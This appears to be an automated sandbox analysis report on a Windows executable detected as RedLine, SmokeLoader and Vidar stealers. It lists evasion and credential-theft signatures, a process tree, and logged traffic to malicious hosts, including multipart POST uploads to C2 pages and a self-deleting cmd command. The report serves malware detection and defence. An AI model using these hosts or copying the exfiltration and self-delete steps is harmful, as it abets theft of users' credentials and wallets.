Play interactive tour

Edit tour

Windows Analysis Report H4HU4rg1NM.exe

Overview

General Information

Sample Name:	H4HU4rg1NM.exe
Analysis ID:	545835
MD5:	31646747fe74d32212a7cbcb97c7d78d
SHA1:	62df758f397934053749ee38416a74f81a6d8ed6
SHA256:	02bcb080116ab55475edbcd1293246a0e5d8894793ee9e699db805bff2935408
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade analysis by execution special instruction which cause usermode exception

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Uses dynamic DNS services

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Hides threads from debuggers

Writes to foreign memory regions

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Checks for debuggers (devices)

Binary contains a suspicious time stamp

PE file contains more sections than normal

PE file overlay found

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Contains functionality to detect virtual machines (SLDT)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

H4HU4rg1NM.exe (PID: 6944 cmdline: "C:\Users\user\Desktop\H4HU4rg1NM.exe" MD5: 31646747FE74D32212A7CBCB97C7D78D)

H4HU4rg1NM.exe (PID: 7052 cmdline: "C:\Users\user\Desktop\H4HU4rg1NM.exe" MD5: 31646747FE74D32212A7CBCB97C7D78D)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

325D.exe (PID: 5776 cmdline: C:\Users\user\AppData\Local\Temp\325D.exe MD5: 5E0ED8966761E70EE0B8DCD141AAFB4C)

325D.exe (PID: 6556 cmdline: C:\Users\user\AppData\Local\Temp\325D.exe MD5: 5E0ED8966761E70EE0B8DCD141AAFB4C)

4D1A.exe (PID: 7112 cmdline: C:\Users\user\AppData\Local\Temp\4D1A.exe MD5: BABD835D0FE9E63300B037A5AAAA4284)

cmd.exe (PID: 6956 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6908 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

110B.exe (PID: 5764 cmdline: C:\Users\user\AppData\Local\Temp\110B.exe MD5: CCBCF301B4A4C51FC6AC6108E1A0A702)

110B.exe (PID: 5708 cmdline: C:\Users\user\AppData\Local\Temp\110B.exe MD5: CCBCF301B4A4C51FC6AC6108E1A0A702)

7728.exe (PID: 3676 cmdline: C:\Users\user\AppData\Local\Temp\7728.exe MD5: DBFAEC97A910463B8767B8CEB053CF3C)

8CA5.exe (PID: 5208 cmdline: C:\Users\user\AppData\Local\Temp\8CA5.exe MD5: 765885E4A5BF2B58911C445E2BA0F7DF)

cmd.exe (PID: 7036 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

9B5C.exe (PID: 6476 cmdline: C:\Users\user\AppData\Local\Temp\9B5C.exe MD5: CF844515328AE2E2F1B4E9879401C7CA)

9B5C.exe (PID: 6252 cmdline: C:\Users\user\AppData\Local\Temp\9B5C.exe MD5: CF844515328AE2E2F1B4E9879401C7CA)

A87C.exe (PID: 5108 cmdline: C:\Users\user\AppData\Local\Temp\A87C.exe MD5: E5BD8A53623522C49CCC35BC492B5A11)

AppLaunch.exe (PID: 4400 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

C26E.exe (PID: 6500 cmdline: C:\Users\user\AppData\Local\Temp\C26E.exe MD5: 1A8620AF98D68F9CADB5916341AD1E71)

iudbdfd (PID: 5700 cmdline: C:\Users\user\AppData\Roaming\iudbdfd MD5: 31646747FE74D32212A7CBCB97C7D78D)

iudbdfd (PID: 6964 cmdline: C:\Users\user\AppData\Roaming\iudbdfd MD5: 31646747FE74D32212A7CBCB97C7D78D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\C26E.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4D1A.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4D1A.exe PID: 7112	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 110B.exe PID: 5708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8CA5.exe PID: 5208	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8CA5.exe PID: 5208	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 9B5C.exe PID: 6252	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: C26E.exe PID: 6500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 4400	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
40.0.9B5C.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
42.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.2.A87C.exe.c3b04.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.2.110B.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.110B.exe.44ffda0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.2.110B.exe.44ffda0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.2.A87C.exe.c3b04.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.0.C26E.exe.e40000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
30.0.110B.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
39.3.A87C.exe.3720000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.2.9B5C.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
40.0.9B5C.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
41.2.C26E.exe.e40000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 18 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\4D1A.exe, ParentImage: C:\Users\user\AppData\Local\Temp\4D1A.exe, ParentProcessId: 7112, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit, ProcessId: 6956

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Avira: detection malicious, Label: TR/Crypt.ASPM.Gen

Multi AV Scanner detection for submitted file

Show sources

Source: H4HU4rg1NM.exe	Virustotal: Detection: 33%			Perma Link
Source: H4HU4rg1NM.exe	ReversingLabs: Detection: 53%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Metadefender: Detection: 20%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\325D.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\7728.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	ReversingLabs: Detection: 27%

Machine Learning detection for sample

Show sources

Source: H4HU4rg1NM.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\56DF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\iudbdfd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Joe Sandbox ML: detected

Source: 25.2.4D1A.exe.5c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.3.4D1A.exe.5e0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	25_2_00407510
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	25_2_00407470
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	25_2_00404830
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00407190 CryptUnprotectData,	25_2_00407190
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	25_2_004077A0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack

Source: H4HU4rg1NM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 155.248.231.246:443 -> 192.168.2.3:49865 version: TLS 1.2

Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp
Source:	Binary string: _tcC:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: "C:\sigut-wo.pdb source: 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\sigut-wo.pdb source: 325D.exe, 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: C:\gipate\nihidani\92\gape rosoloto50\lav75\zel.pdb source: 7728.exe
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: 7728.exe.13.dr
Source:	Binary string: C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: ?9"C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0041AA72 BuildCommDCBAndTimeoutsA,GetNamedPipeHandleStateA,ReleaseMutex,AddAtomA,TzSpecificLocalTimeToSystemTime,SetConsoleCursorInfo,VerifyVersionInfoW,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,GetProcessPriorityBoost,FreeEnvironmentStringsA,VerifyVersionInfoA,FindFirstFileExA,	22_2_0041AA72
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401280
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401090
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00409970

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: downloafilesaccess.ddns.net
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: infinity-cheats.com
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: downloafilesaccess.ddns.net

Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----A1VKFU3EKF3E3790Host: file-file-host4.comContent-Length: 104449Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Source: global traffic	HTTP traffic detected: GET /POeNDXYchB.php HTTP/1.1Host: 185.7.214.239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: 185.7.214.239Cache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5
Source: global traffic	HTTP traffic detected: POST /POeNDXYchB.php HTTP/1.1Content-Type: multipart/form-data; boundary=----7G4EUSR9RI58QQIWHost: 185.7.214.239Content-Length: 114221Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5

